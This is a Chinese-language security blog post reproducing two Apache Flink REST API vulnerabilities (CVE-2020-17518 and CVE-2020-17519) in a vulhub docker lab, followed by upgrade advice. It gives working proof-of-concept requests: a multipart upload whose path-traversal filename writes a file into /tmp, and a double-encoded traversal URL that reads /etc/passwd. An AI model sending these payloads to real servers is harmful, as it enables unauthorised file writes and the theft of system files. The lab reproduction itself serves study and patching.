CVE-2020-17518&17519：Flink两个漏洞复现

原创柠檬薔薇 Timeline Sec
2021-01-14原文

收录于话题
#漏洞复现文章合集
79个

上方蓝色字体关注我们，一起学安全！

作者：柠檬薔薇@Timeline Sec

本文字数：875

阅读时长：2～3min

声明：请勿用作违法用途，否则后果自负

0x01 简介

Apache Flink是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序，Flink的流水线运行时系统可以执行批处理和流处理程序。

0x02 漏洞概述

编号：CVE-2020-17518&17519

Flink 1.5.1 引入了 REST API，但其实现上存在多处缺陷，导致目录遍历和任意文件写入漏洞。

CVE-2020-17519：攻击者可通过 REST API 使用../跳目录实现系统任意文件读取；CVE-2020-17518：通过构造恶意的http header，可实现远程文件写入。

0x03 影响版本

1、CVE-2020-17518：
Apache Flink 1.5.1 ~ 1.11.2

2、CVE-2020-17519
Apache Flink 1.11.0、1.11.1、1.11.2

0x04 环境搭建

CVE-2020-17518
使用vulhub进行安装，vulhub地址：

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518

进入目录

```
cd vulhub-master/flink/CVE-2020-17518
```

安装环境

```
sudo docker-compose up -d
```

接着访问http://your-ip:8081

CVE-2020-17519

Vulhub地址：

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519

进入目录

```
cd vulhub-master/flink/CVE-2020-17519
```

安装环境

```
sudo docker-compose up -d
```

接着访问：http://your-ip:8081

0x05 漏洞复现

CVE-2020-17518

1、构建数据包进行发送

```
POST /jars/upload HTTP/1.1

Host: localhost:8081

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (X11; Linux x86_64;rv:78.0)
Gecko/20100101 Firefox/78.0

Connection: close

Content-Type: multipart/form-data;boundary=----
WebKitFormBoundaryoZ8meKnrrso89R6Y

Content-Length: 187


------WebKitFormBoundaryoZ8meKnrrso89R6Y

Content-Disposition: form-data;name="jarfile";
filename="../../../../../../tmp/success"


success

------WebKitFormBoundaryoZ8meKnrrso89R6Y--
```

2、 此时进入容器，查看success文件是否创建成功

```
cd vulhub-master/flink/CVE-2020-17518

docker ps

docker exec -it CONTAINER ID bash

ls /tmp
```

如上图所示，镜像里面有了success文件，执行成功

CVE-2020-17519

POC：

```
http://ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
```

0x06 修复方式

临时修复建议：

若业务环境允许，使用白名单限制相关web项目的访问来降低风险。

官方已发布安全版本，请及时下载升级至安全版本。

下载链接：

https://flink.apache.org/zh/downloads.html

参考链接：

https://github.com/vulhub/

阅读原文看更多复现文章

Timeline Sec 团队

安全路上，与你并肩前行

精选留言

用户设置不下载评论
阅读全文